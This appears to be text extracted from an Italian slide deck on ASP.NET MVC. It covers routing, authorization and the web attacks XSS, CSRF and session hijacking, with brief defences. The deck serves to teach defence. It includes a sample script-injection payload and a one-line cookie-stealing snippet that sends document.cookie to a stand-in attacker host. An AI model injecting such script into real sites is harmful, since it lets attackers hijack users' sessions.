9. … e poi tocca a noi
1 routes.MapRoute (
"PostByDate",
"date/{year}/{month}",
new { controller = "Post",
action = "ByDate",
year = DateTime.Now.Year,
month = DateTime.Now.Month
}
);
10. … e poi tocca a noi
2 public ActionResult ByDate(int year, int month)
{
IList<Post> posts = new List<Post>();
using (var db = new BlogContext())
{
posts = (from p in db.Posts
where p.PublishedDate.Year == year
&& p.PublishedDate.Month == month
select p).ToList();
}
return View("List", posts);
}
29. Per specificare che una
action richiede il
riconoscimento dell’utente
usiamo il filtro
AuthorizeAttribute
30. Il filtro controlla nell’HttpContext
se l’utente è autenticato, se non
è così visualizza la pagina di
login specificata nel web.config
31. A questo punto l’utente ci
fornisce le sue credenziali …
Utilizza il membership
provider integrato(ovvero
gli utenti sono salvati nel
database ASPNETDB.mdf)
40. Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata.
41. Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata. In questo modo è possibile
sottrarre dati sensibili presenti nel
browser degli utenti che visiteranno
successivamente quella pagina.
Fonte: Wikipedia
42. Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html …
43. Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
44. Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
E se poi qualcuno scrive del
codice javascript?
<script>alert(„XSS‟)</script>
48. Cross Site Request Forgery
Permette ad un hacker di
sfruttare l‟autenticazione
tramite cookie per effettuare
una richiesta cross-domain a
nome dell‟utente (ovviamente
ignaro di tutto).
49. Come può accadere?
Accade se visito la pagina nella
quale un hacker ha inserito un link
con i parametri “giusti” (oppure
un codice che esegue un post
automatico) dopo essermi
autenticato sul sito vulnerabile a
tale attacco.
51. Indirizzo dal quale
Come difendersi? è stata inviata la
richiesta
Controllare il referrer della
richiesta oppure utilizzare
un token fornito
dall’Antiforgery Helper
54. Session Hijacking
Permette ad un hacker di
sfruttare la vulnerabilità XSS per
“rubare” l‟identità di un utente
data dal suo cookie di
autenticazione.
55. Come può accadere?
L‟hacker nasconde dietro
l‟indirizzo di una immagine una
chiamata al suo sito passndo
come parametro il valore del
cookie dell‟utente.
img.src = “http://sito.hacker/ruba_identita?cookies=“+
encodeURI(document.cookie);